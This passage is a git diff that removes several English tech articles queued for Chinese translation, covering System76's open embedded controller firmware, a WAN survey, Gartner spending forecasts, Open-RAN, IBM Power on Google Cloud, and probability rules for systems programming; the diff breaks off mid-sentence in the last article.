5e391d05c2..0000000000 --- a/sources/talk/20200121 What you need to know about System76-s open source firmware project.md +++ /dev/null @@ -1,67 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What you need to know about System76's open source firmware project) -[#]: via: (https://opensource.com/article/20/1/system76-open-source-firmware) -[#]: author: (Don Watkins https://opensource.com/users/don-watkins) - -What you need to know about System76's open source firmware project -====== -This Q&A with System76 principal engineer Jeremy Soller discusses the -company's project for an open source embedded controller. -![Person using a laptop][1] - -When you power on your computer, there’s a lot more going on than you might think. One of the most important elements involved is the embedded controller (EC). This is what is responsible for providing abstractions for the battery, charging system, keyboard, touchpad, suspend/resume, and thermal control, among others. These controllers are typically proprietary and usually run proprietary firmware. - -System76 is about to change that paradigm. Recently, the company adopted [coreboot][2] for their Galago Pro and Darter Pro laptop models. Now they intend to extend the open source approach to the EC. There is a project associated with Chrome OS devices called [Chromium EC][3] that is open source; however, it is only available for Chromebooks and specific EC chips. System76 wanted to supply their customers with an open source embedded controller firmware, too. - -They had to start from scratch with a project that can compile for the EC architecture they have in their laptops, the [Intel 8051][4]. Their project for an [open source EC][5], the System76 EC, is a GPLv3-licensed embedded controller firmware for System76 laptops. It is designed to be portable to boards using several 8-bit microcontrollers. This project has grown to the point where it is now possible to boot a System76 Galago Pro and have the battery, keyboard, touchpad, suspend/resume, and thermal control mentioned earlier. - -Eager to learn more, I emailed [Jeremy Soller][6], who is Principal Engineer at System76, for a deeper dive. Below are some highlights from our conversation. - -### Q: What is the importance of the Intel 8051? Do all laptops use that chipset? - -A: The embedded controller in our laptops, the ITE IT8587E, uses the Intel 8051 instruction set. Not all laptops use this instruction set, but many do. This is important because we need a toolchain that can compile firmware for the 8051 instruction set, as well as firmware that is written for that toolchain. - -### Q: What is involved in writing open code to utilize the Intel 8051? - -A: Mostly we have to define the registers for utilizing hardware on the embedded controller. There are protocols like SMBus and PECI that are implemented in hardware and need drivers for them. These drivers often have to be written for each embedded controller to abstract its hardware, so there is a common interface. Our EC firmware has abstractions for some Arduinos as well as the EC in our laptops, so we can write firmware that is portable. - -### Q: Google developed an open EC. Why not fork that project? - -A: Our initial concept was to utilize Chromium EC for our open EC firmware, but this was not possible. After discussions with members of the team at Google working on it, it became clear that the firmware was not capable of being ported to 8-bit microcontrollers like the 8051 used in our EC, or the AVR used in many Arduinos. It was mostly targeted to ARM microcontrollers. We mutually concluded that it was better to start a new project targeting 8-bit microcontrollers, which is a new codebase that is GPLv3, as opposed to the BSD license used by Chromium EC. - -### Q: How significant is it that System76 is open sourcing the code? - -A: The only other x86_64 laptops with open source EC firmware are certain Chromebooks using Chromium EC. However, these laptops have poor support for full desktop Linux distributions such as Ubuntu. We are providing users of our laptops with significant capabilities to view and modify the behavior of the laptop to their needs, all while running a full desktop operating system. When it is paired with our open system firmware, there is very little that a user cannot do with one of these laptops. - -### Q: What implications does open code have for firmware and other developers? - -A: I strongly believe that open EC firmware will be just as important for hardware customization as open system firmware. The user can adjust keyboard mappings, change fan curves, modify battery charging settings, and more. The most exciting thing about this is that I cannot predict all that is possible with this change. Many of the components in the system are tied to the EC firmware. Having the ability to change the EC and system firmware means these components could potentially be modified in a large number of different, unpredictable ways. - -### Q: What is really important about developing software for this EC, and what sets it apart? - -A: Something particularly important is that the EC we are using is the IT8587E, and its instruction set architecture is Intel 8051. Chromium EC cannot be compiled for the 8051, due to being targeted toward 32-bit microcontrollers. Our project aims to support the ubiquitous 8-bit microcontrollers from many vendors, as well as Arduino’s for easy prototyping. In addition, this unifies the work we were doing on [Thelio Io][7] with the work we have done on laptop firmware. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/system76-open-source-firmware - -作者:[Don Watkins][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/don-watkins -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) -[2]: https://opensource.com/article/19/11/coreboot-system76-laptops -[3]: https://chromium.googlesource.com/chromiumos/platform/ec/+/master/README.md -[4]: https://en.wikipedia.org/wiki/Intel_MCS-51 -[5]: https://github.com/system76/ec -[6]: https://www.linkedin.com/in/jeremy-soller-0475a117/ -[7]: https://opensource.com/article/18/11/system76-thelio-desktop-computer diff --git a/sources/talk/20200123 Survey- Digital transformation can reveal network weaknesses.md b/sources/talk/20200123 Survey- Digital transformation can reveal network weaknesses.md deleted file mode 100644 index c03da59858..0000000000 --- a/sources/talk/20200123 Survey- Digital transformation can reveal network weaknesses.md +++ /dev/null @@ -1,102 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Survey: Digital transformation can reveal network weaknesses) -[#]: via: (https://www.networkworld.com/article/3516030/survey-digital-transformation-can-reveal-network-weaknesses.html) -[#]: author: (Linda Musthaler https://www.networkworld.com/author/Linda-Musthaler/) - -Survey: Digital transformation can reveal network weaknesses -====== -When enterprises embraced digital transformation, some found their existing networks had a limited ability to address cloud connectivity or access for mobile users. -Metamorworks / Getty Images - -[Digital transformation][1] is a catch-all phrase that describes the process of using technology to modernize or even revolutionize how services are delivered to customers. Not only technology but also people and processes commonly undergo fundamental changes for the ultimate goal of significantly improving business performance. - -Such transformations have become so mainstream that IDC estimated that 40% of all technology spending now goes toward digital transformation projects, with enterprises spending in excess of $2 trillion on their efforts through 2019. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][2] - -Every company’s digital transformation project is unique. Whether it’s transforming a company’s marketing and sales processes by using machine learning to garner deep insights on each and every customer, or building a seamless experience across sales channels and revamping distribution channels to provide the best products and resources to customers, a digital-transformation project is going to be dependent on as well as have an impact on the enterprise’s network infrastructure. - -[][3] - -BrandPost Sponsored by HPE - -[Take the Intelligent Route with Consumption-Based Storage][3] - -Combine the agility and economics of HPE storage with HPE GreenLake and run your IT department with efficiency. - -Many companies assume their networks can handle these changes. But can they? Do these new ways of working strain the existing network infrastructure by imposing new requirements for agility, cloud access, security and mobility? - -### Gauging Confidence in the Network Post-Digital Transformation - -A recent survey of more than 1,300 IT professionals dared to ask about the impact of digital transformation on each respondent’s enterprise network. Having just conducted its fourth annual state of the WAN survey at the end of 2019, Cato Networks issued the report, [Networking in 2020: Understanding Digital Transformation’s Impact on IT Confidence in Enterprise Networks][4]_._ Steve Taylor, publisher and editor-in-chief of Webtorials.Com, and Dr. Jim Metzler, principal at Ashton, Metzler, and Associates, were instrumental in designing and the analyzing the results from the portion of the survey relating to digital transformation. There are some worthy observations here for network managers. - -The study looked at networking and security priorities for IT professional in 2020. As part of that process, the study sought to identify how ready enterprise networks are for the digital era. According to the report, “The modern business has data and users residing everywhere. And just as the enterprise network provided performance and security to data centers and branch offices in the past, so, too, it must provide performance and security to the cloud and mobile users—both hallmarks of digital initiatives.” Without a network that delivers the right infrastructure with the right performance and security levels anywhere, digital transformation efforts can run aground. - -1,333 respondents took part in the survey in late 2019. Qualified respondents were those who work in IT and are involved in the purchase of telco services for enterprises with an SD-WAN or MPLS backbone (or a mix of MPLS and Internet VPN). The vast majority of the respondents say they are moderately or extremely involved in their organization’s digital transformation initiatives. - -More than half of respondents identified working for companies with a global or regional footprint. Nearly half of respondents work for companies with more than 2,500 employees. The vast majority said their organization spans 11 or more locations, with a quarter of the respondents from companies with more than 100 locations. All respondents’ companies have some cloud presence and most have two or more physical [data centers][5]. - -To gauge the impact of digital transformation on the network, the survey asked a number of qualitative questions pertaining to network characteristics that include agility, security, performance, and management and operations. For each characteristic, the study looked at the “network confidence level”; that is, whether the respondent feels more or less confident in the network’s capabilities in that area following the deployment of the transformation project. The study segmented respondents by the type of network they operate—[MPLS][6], hybrid (MPLS and Internet-based VPN), [SD-WAN][7], or [SASE][8] (secure access service edge, pronounced “sassy”). SASE converges SD-WAN and other networking capabilities and a complete security stack into a global, cloud-native platform. (Disclosure: Report publisher Cato Networks delivers an SD-WAN service and also bills itself as the world’s first SASE platform.) - -**Overall Findings** - -I’ll get to the results about network confidence level in a moment. First let’s look at some general information disclosed in the report: - - * Budgets are growing in 2020. Respondents report that both their network and their security budgets are expected to grow in 2020. That’s good news, considering both areas are being asked to do more. - * Site connectivity continues to drive the major networking challenges for 2020. This includes bandwidth costs, performance between locations, and managing the network. - * Mobility is becoming strategic for network buyers. The importance of managing mobile and remote access grew significantly since the last annual survey. Addressing this need has become another top networking challenge. - * Security is an essential consideration for [WAN][9] transformation. Enterprises must have a multi-edge security strategy that includes defending against emerging threats like malware/ransomware, enforcing corporate security policies on mobile users, and full awareness of the cost of buying and managing security appliances and software. - * The most critical applications are now in the cloud. More than half (60%) of all respondents indicate that their organization’s most critical applications will be hosted in the cloud over the next 12 months. This has a huge impact on how users will access the cloud via their WAN. - * Digital initiatives are driving a rethinking of legacy networks. More than half of the respondents whose organizations still rely on MPLS say their organizations are actively planning to deploy SD-WAN in the next 12 months to lower costs and support new business initiatives. - - - -### Digital transformations rattle network confidence - -To better understand why enterprises are abandoning MPLS and what lessons can be derived for any WAN transformation initiatives, respondents were asked to rate a series of statements evaluating their perceptions of their networks’ agility, management and operations, performance, and security. The respondents were then grouped by their network in order to assess the change in network confidence pre- and post-digital transformation. - -With one exception, respondents express lower confidence in their networks post-digital transformation. This is true in areas of MPLS’s presumed strength, such as performance, and it’s even true for hybrid networks as well as for SD-WAN. As organizations roll out digital initiatives, they uncover the weaknesses in their existing networks, such as a limited ability to address cloud connectivity or mobile user access. - -According to the report, the only exception is when respondents run a SASE architecture. They express greater confidence post-digital transformation. SASE’s convergence of SD-WAN with security, cloud connectivity, and mobility is well suited for digital transformation but may only be appreciated when required by the business. - -Going back to the network characteristics of agility, security, performance, and management and operations, let’s look at how each one is perceived in terms of respondents’ network confidence. - - * Network agility – This characteristic includes the ability to add new sites, adjust available bandwidth, add cloud resources, and generally adapt quickly to changing business needs. It’s understandable that respondents with an MPLS-based network would rate their confidence in network agility as low, but confidence among respondents who deployed an SD-WAN dropped the most when asked about rapidly delivering new public cloud infrastructure. The opposite is also true: SASE’s built-in cloud connectivity is a major factor in respondents being more confident in their network agility post-digital transformation. - * Security – It’s critical to protect users and resources regardless of the underlying network. MPLS does not protect resources and users, and certainly not those connected to the Internet, leading MPLS-only respondents to be significantly less confident in their network’s security post-digital transformation. SD-WAN respondents also demonstrate lower confidence in security post-digital transformation, largely because SD-WAN on its own fails to restrict access to specific applications or provide the advanced security tools needed to protect all edges – mobile devices, sites, and cloud resources. By contrast, SASE confidence grew post-digital transformation. Converging a complete security stack into the network allows SASE to bring granular control to sites, mobile, and cloud resources. - * Performance – Delivering cloud resources presents problems for MPLS and SD-WAN. Users expect their cloud application experience to be as responsive as on-premises applications. This point plays a significant role in performance confidence. When asked if respondents can provide access to cloud-based resources with the performance and availability comparable to internally hosted resources, respondents with MPLS, hybrid WAN, and SD-WAN networks showed significant drop-off in confidence post-digital transformation. On the other hand, SASE solutions that include native cloud optimization improve cloud performance out-of-the-box, making those network owners more confident that they can deliver what users need. - * Management and operations – Respondent confidence was high before digital transformation but dropped off post-digital transformation across all network types except for SASE. According to the report, the lack of redundant last mile connections with MPLS leaves sites susceptible to cable cuts and other last mile problems. Adding Internet VPNs to MPLS improves last mile access but still does not allow organizations to automatically overcome last mile issues without downtime. SD-WAN and SASE are better able to overcome last mile issues with active/active configurations. - - - -Digital transformation initiatives can vastly change network traffic patterns, bandwidth requirements, access locations, and security needs. These changes might not be apparent until the project is fully deployed. Every organization needs a network infrastructure that provides adequate performance, security, agility and manageability to support digital initiatives, now and into the future. Some network architectures are better at providing those characteristics than others are. IT organizations that want to be confident in their network’s ability to meet the future need to consider areas such as cloud, mobility and especially security when transforming their WANs today. - -Join the Network World communities on [Facebook][10] and [LinkedIn][11] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3516030/survey-digital-transformation-can-reveal-network-weaknesses.html - -作者:[Linda Musthaler][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Linda-Musthaler/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3512830/how-to-deal-with-the-impact-of-digital-transformation-on-networks.html -[2]: https://www.networkworld.com/newsletters/signup.html -[3]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[4]: https://go.catonetworks.com/Survey-Networking-in-2020.html -[5]: https://www.networkworld.com/article/3223692/what-is-a-data-centerhow-its-changed-and-what-you-need-to-know.html -[6]: https://www.networkworld.com/article/2297171/network-security-mpls-explained.html -[7]: https://www.networkworld.com/article/3031279/sd-wan-what-it-is-and-why-you-ll-use-it-one-day.html -[8]: https://www.networkworld.com/article/3453030/sase-is-more-than-a-buzzword-for-bioivt.html -[9]: https://www.networkworld.com/article/3248989/what-is-a-wan-wide-area-network-definition-and-examples.html -[10]: https://www.facebook.com/NetworkWorld/ -[11]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200124 Gartner- Data-center spending will inch up this year.md b/sources/talk/20200124 Gartner- Data-center spending will inch up this year.md deleted file mode 100644 index a58dc86acd..0000000000 --- a/sources/talk/20200124 Gartner- Data-center spending will inch up this year.md +++ /dev/null @@ -1,54 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Gartner: Data-center spending will inch up this year) -[#]: via: (https://www.networkworld.com/article/3515314/data-center-spending-will-inch-up-in-year-of-accelerated-it-investment-gartner.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -Gartner: Data-center spending will inch up this year -====== -After a down year in 2019, IT spending will pick up this year, led by enterprise software and the cloud, according to IT research firm Gartner, including an uptick for data-center spending that had takend a dip. -Getty Images - -Global IT spending could reach $3.865 trillion in 2020, up 3.4% over 2019, according to newly released data from IT research firm Gartner. In comparison, 2019 saw just 0.5% growth over 2018 levels. Spending is expected to continue to climb into 2021, surpassing the $4 trillion mark with 3.7% growth. - -Spending on hardware – including edge devices and data center hardware – will be deemphasized, while investments in software and services, including cloud, will see an increase, the firm predicts. - -**READ MORE:** [Data centers in 2020 will feature greater automation, cheaper memory][1] - -"With the waning of global uncertainties, businesses are redoubling investments in IT as they anticipate revenue growth, but their spending patterns are continually shifting," said John-David Lovelock, distinguished research vice president at Gartner, in a statement. - -After a decline of 2.7% in 2019, data center systems sales will grow 1.9% in 2020, while devices – everything from laptops to printers to smartphones – will rise just 0.8% in 2020 after a 4.3% decline in 2019. - -IT services will rise 5.0%, increasing its momentum over 2019, which saw a rise of 3.6%. But the real action will be in enterprise software, which is expected to grow 10.5% this year. This includes both on-premises software (such as Microsoft, Oracle) and cloud services. More of the spending growth is aimed at SaaS than on-premises software, Gartner notes. - -"Almost all of the market segments with enterprise software are being driven by the adoption of software as a service (SaaS)," Lovelock said. "We even expect spending on forms of software that are not cloud to continue to grow, albeit at a slower rate. SaaS is gaining more of the new spending, although licensed-based software will still be purchased and its use expanded through 2023." - -In a conference call with clients, Lovelock said there has been a shift over the last three years, where the world is going from "'we like all tech' to 'we like softer tech and not all tech.'" The trend is toward consulting, software, and the cloud, the softest of tech. - -The weakest segment is mobile devices. It's not that people don’t want them any longer, but in the mobile device space there is no more must-have feature, nothing to make people line up for days in advance like we saw a decade ago with each new iPhone release. "People are happy with the devices they have. The market is down to a replacement market so they extend their spending," Lovelock said. - -In data center space, there's a similar pattern. Servers last longer, and at the same time, more work is being done outside the company at colocations and the cloud. - -"The cloud is taking a lot [of money] out of the data center," Lovelock said. "SaaS and IaaS are all viable for organizations but taking data center dollars. Where we keep saying software is growing most quickly, that’s very true. But recognize that it is also taking money from other areas. Budgets aren’t going up, concentrations in spending is where we are seeing things happen." - -Join the Network World communities on [Facebook][2] and [LinkedIn][3] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3515314/data-center-spending-will-inch-up-in-year-of-accelerated-it-investment-gartner.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[zxy-wyx](https://github.com/zxy-wy) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3487684/data-centers-in-2020-automation-cheaper-memory.html -[2]: https://www.facebook.com/NetworkWorld/ -[3]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200124 How Open-RAN could ‘white-box- 5G.md b/sources/talk/20200124 How Open-RAN could ‘white-box- 5G.md deleted file mode 100644 index c42a630540..0000000000 --- a/sources/talk/20200124 How Open-RAN could ‘white-box- 5G.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How Open-RAN could ‘white-box’ 5G) -[#]: via: (https://www.networkworld.com/article/3516075/how-open-ran-could-white-box-5g.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -How Open-RAN could ‘white-box’ 5G -====== -Open-hardware, software-defined mobile radio infrastructure could kick-start private LTE and 5G and perhaps eventually lead to their supremacy over Wi-Fi for enterprises. -mrdoomits / Getty Images - -One of Britain’s principal mobile networks, O2, has just announced that it intends to deploy Open Radio Access Network technology (O-RAN) in places. - -O-RAN is a wireless industry initiative for designing and building radio network solutions using “a general-purpose, vendor-neutral hardware and software-defined technology,” explains Telecom Infra Project, the body responsible, on its website. - -TIP is the trade body that, along with Intel and Vodafone, conceived of the technology alternative – an attempt at toppling the dominance of Ericsson, Huawei and Nokia, which provide almost all mobile telco infrastructure now. - -[][1] - -BrandPost Sponsored by HPE - -[Take the Intelligent Route with Consumption-Based Storage][1] - -Combine the agility and economics of HPE storage with HPE GreenLake and run your IT department with efficiency. - -O2 joins fellow UK mobile operator Vodafone, which is also experimenting with O-RAN. - -O2 is working with partners including; Mavenir, DenseAir and WaveMobile to introduce O-RAN solutions, [the Telefónica-owned network says in a press release][2]. - -What it means by that is that by encouraging less powerful, smaller vendors to provide infrastructure, the grip that Ericsson, Huawei and Nokia hold over mobile networks might be lessened. Costs could be reduced because those big three would have to reduce prices to remain competitive. - -But most interestingly, it also allows for the standardizing of telco infrastructure, possibly making future private mobile networks cheaper and easier to implement. Private LTE and 5G networks are expected to genearate $4.7 billion in revenue by the end of this year, [according to an SNS Telecom & IT report published in October][3]. That number is expected to be $8 billion by the end of 2023. - -**[ Don’t miss [customer reviews of top remote access tools][4] and see [the most powerful IoT companies][5] . | Get daily insights by [signing up for Network World newsletters][6]. ]** - -Indeed, white-box telco equipment might be the result. White-box IT hardware is used in enterprises, and could be advantageous in telco equipment, too. Conceivably, as telco equipment prices and availability became more within reach, along with the availability of new, unlicensed, shared spectrum, such as is being launched in the U.S. with Citizen Broadband Radio Service; then implementation of a an enterprise-level, private LTE or 5G network, with “white-box” hardware and programmable software-defined networks, may be one-day no harder than a Wi-Fi network install, common now. - -“By providing authority over wireless coverage and capacity, private LTE and 5G networks ensure guaranteed and secure connectivity, while supporting a wide range of applications,” SNS Telecom & IT says of private mobile networks in its report. Factory robotics and IoT sensor  networks will be driving that investment. LTE and 5G are being pitched as more reliable than Wi-Fi, in part because of less congestion. Private mobile networks can be provided by existing mobile-network operators or built independently. - -In the case of TIP’s O-RAN, the vision is for modular base stations with a software stack functioning on common, off-the-shelf hardware, called COTS. Field-programmable gate arrays (FPGAs) are also part of the concept. - -“Thus the main objective of this project is to have RAN solutions that benefit from the flexibility and pace of innovation associated with software-driven developments on fully programmable platforms,” [TIP said on its website][7] last year. The influence of Wi-Fi diminishes. - -Join the Network World communities on [Facebook][8] and [LinkedIn][9] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3516075/how-open-ran-could-white-box-5g.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[2]: https://news.o2.co.uk/press-release/o2-to-further-improve-network-service-for-customers-using-open-radio-access-network-ran-technology/ -[3]: https://www.snstelecom.com/private-lte -[4]: https://www.networkworld.com/article/3262145/lan-wan/customer-reviews-top-remote-access-tools.html#nww-fsb -[5]: https://www.networkworld.com/article/2287045/internet-of-things/wireless-153629-10-most-powerful-internet-of-things-companies.html#nww-fsb -[6]: https://www.networkworld.com/newsletters/signup.html#nww-fsb -[7]: https://telecominfraproject.com/tip-project-group-feature-openran/ -[8]: https://www.facebook.com/NetworkWorld/ -[9]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200127 IBM Power-based cloud instances available- from Google.md b/sources/talk/20200127 IBM Power-based cloud instances available- from Google.md deleted file mode 100644 index 95ba1965c7..0000000000 --- a/sources/talk/20200127 IBM Power-based cloud instances available- from Google.md +++ /dev/null @@ -1,60 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (IBM Power-based cloud instances available… from Google) -[#]: via: (https://www.networkworld.com/article/3516409/ibm-power-based-cloud-instances-available-from-google.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -IBM Power-based cloud instances available… from Google -====== -IBM’s high-performance RISC processors are now available to Google Cloud Platform users as a service. -Oak Ridge National Laboratory - -IBM and Google may be competitors in the cloud platform business, but that doesn't prevent them from working together. Google is partnering with IBM to offer "Power Systems as a service" on its Google Cloud platform. - -IBM’s Power processor line is the last man standing in the RISC/Unix war, surviving Sun Microsystems’ SPARC and HP’s PA-RISC. Along with mainframes it’s the last server hardware business IBM has, having divested its x86 server line in 2014. - -IBM already sells cloud instances of Power to its IBM Cloud customers, so this is just an expansion of existing offerings to a competitor with a considerable data center footprint. Google said that customers can run Power-based workloads on GCP on all of its operating systems save mainframes — AIX, IBM i, and Linux on IBM Power. - -This gives GCP customers the option of moving legacy IT systems running on IBM Power Systems to a hybrid cloud and the option of using Google or IBM, which have their respective strengths. IBM is focused on IBM customers, while Google is more focused on containerization, AI and ML, and low latency. - -IBM gains because its customers now have a second option, and customers like choice. GCP wins because it gives the company access to legacy IBM customers, something it never had as a relatively new company. It has no on-premises legacy, after all. - -"For organizations using a hybrid cloud strategy, especially, IBM Power Systems are an important tool. Because of their performance and ability to support mission critical workloads—such as SAP applications and Oracle databases—enterprise customers have been consistently looking for options to run IBM Power Systems in the cloud," wrote Kevin Ichhpurani, GCP's corporate vice president of global ecosystem in a [blog post][1] announcing the deal. - -"IBM Power Systems for Google Cloud offers a path to do just that, providing the best of both the cloud and on-premise worlds. You can run enterprise workloads like SAP and Oracle on the IBM Power servers that you’ve come to trust, while starting to take advantage of all the technical capabilities and favorable economics that Google Cloud offers," Ichhpurani added. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][2] - -Ichhpurani also noted several other benefits for customers: - - * Integrated billing: GCP customers can deploy the solution through the Google Cloud Marketplace and get a single bill for their GCP and IBM Power use. - * Private API access: IBM Power resources can access Google Cloud’s Private API Access technology securely and at low latency - * Integrated customer support: Customer support for both GCP and IBM have a single point of contact for any issues. - * Rapid deployment: An intuitive new management console enables quick ramp-up and rapid deployment of the solution. - - - -IBM Power is available to GCP customers now. - -Join the Network World communities on [Facebook][3] and [LinkedIn][4] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3516409/ibm-power-based-cloud-instances-available-from-google.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://cloud.google.com/blog/products/gcp/ibm-power-systems-now-available-on-google-cloud -[2]: https://www.networkworld.com/newsletters/signup.html -[3]: https://www.facebook.com/NetworkWorld/ -[4]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200127 Some Useful Probability Facts for Systems Programming.md b/sources/talk/20200127 Some Useful Probability Facts for Systems Programming.md deleted file mode 100644 index 143516dd21..0000000000 --- a/sources/talk/20200127 Some Useful Probability Facts for Systems Programming.md +++ /dev/null @@ -1,117 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Some Useful Probability Facts for Systems Programming) -[#]: via: (https://theartofmachinery.com/2020/01/27/systems_programming_probability.html) -[#]: author: (Simon Arneaud https://theartofmachinery.com) - -Some Useful Probability Facts for Systems Programming -====== - -Probability problems come up a lot in systems programming, and I’m using that term loosely to mean everything from operating systems programming and networking, to building large online services, to creating virtual worlds like in games. Here’s a bunch of rough-and-ready probability rules of thumb that are deeply related and have many practical applications when designing systems. - -## (\frac{1}{N}) chance tried (N) times - -Retries are everywhere in systems programming. For example, imagine you’re designing a world for a roleplaying game. When monsters in one particular forest are defeated, they have a small chance of dropping some special item. Suppose that chance is (\frac{1}{10}). Basic probability says that players are expected to need 10 victories before gaining a special item. But in probability, “expected value” is just a kind of average value, and there’s no guarantee that players will get the item even if they do win 10 battles. - -What’s a player’s chance of getting at least one special item after 10 battles? Let’s just try getting a computer to calculate the probability of getting at least one success for (N) tries at a (\frac{1}{N}) chance, for a range of values of (N): - -![Plot of probability of at least one success after trying a 1/N chance N times. The probability starts at 100% and drops, but quickly flattens out to a value just below 65%.][1] - -Eyeballing the graph, it looks like the probability is roughly constant for (N) greater than about 3. In fact, it converges on (1 - e^{- 1}), where (e) is Euler’s constant, 2.718281828459… This number (along with (e^{- 1})) is extremely common in engineering, so here’s a table of practical values: - -exp(-1.0) | 1.0-exp(-1.0) ----|--- -36.7% | 63.2% -A bit over a third | A bit under two thirds - -So, if you don’t need an exact answer (and you often don’t) you could just say that if the drop probability is (\frac{1}{10}), most players will get a special item within 10 battles, but (close enough) about a third won’t. Because the monster battles are statistically independent, we can make a rough guess that about 1 in 9 players still won’t have a special item after 20 battles. Also, roughly 60% won’t after 5 battles because (0.6 \times 0.6 = 0.36), so 60% is close to the square root of 36.7%. - -> If you have (\frac{1}{N}) chance of success, then you’re more likely than not to have succeeded after (N) tries, but the probability is only about two thirds (or your favourite approximation to (1 - e^{- 1})). The value of (N) doesn’t affect the approximation much as long as it’s at least 3. - -Here’s the proof: The chance of the player failing to get a special item after all (10) battles is ((\frac{9}{10})^{10} = .349), so the chance of getting at least one is (1 - .349 = .651). More generally, the chance of succeeding at least once is (1 - (1 - \frac{1}{N})^{N}), which converges on (1 - e^{- 1}) (by [one of the definitions of (e)][2]). - -By the way, this rule is handy for quick mental estimates in board games, too. Suppose a player needs to get at least one 6 from rolling 8 six-sided dice. What’s probability of failure? It’s about (\frac{1}{3}) for the first 6 dice, and (\frac{5}{6} \times \frac{5}{6}) for the remaining two, so all up it’s about (\frac{1}{3} \times \frac{25}{36} \approx \frac{8}{36} \approx \frac{1}{4}). A calculator says ((\frac{5}{6})^{8} = .233), so the rough approximation was good enough for gameplay. - -## (N) balls in (N) buckets - -I’ll state this one up front: - -> Suppose you throw (N) balls randomly (independently and one at a time) into (N) buckets. On average, a bit over a third ((e^{- 1})) of the buckets will stay empty, a bit over a third ((e^{- 1}) again) will have exactly one ball, and the remaining quarter or so ((1 - 2e^{- 1})) will contain multiple balls. - -The balls-and-buckets abstract model has plenty of concrete engineering applications. For example, suppose you have a load balancer randomly assigning requests to 12 backends. If 12 requests come in during some time window, on average about 4 of the backends will be idle, only about 4 will have a balanced single-request load, and the remaining (average) 3 or 4 will be under higher load. Of course, all of these are averages, and there’ll be fluctuations in practice. - -As another example, if a hash table has (N) slots, then if you put (N) different values into it, about a third of the slots will still be empty and about a quarter of the slots will have collisions. - -If an online service has a production incident once every 20 days on average, then (assuming unrelated incidents) just over a third of 20-day periods will be dead quiet, just over a third will have the “ideal” single incident, while a quarter of 20-day periods will be extra stressful. In the real world, production incidents are even more tightly clustered because they’re not always independent. - -This rule of thumb also hints at why horizontally scaled databases tend to have hot and cold shards, and why low-volume businesses (like consulting) can suffer from feast/famine patterns of customer demand. - -Random allocation is much more unbalanced than we intuitively expect. A famous example comes from World War II when, late in the war, the Germans launched thousands of V-1 and V-2 flying bombs at London. Hitting a city with a rocket from across the Channel already required pushing 1940s technology to new limits, but several British analysts looked at maps of bomb damage and concluded that 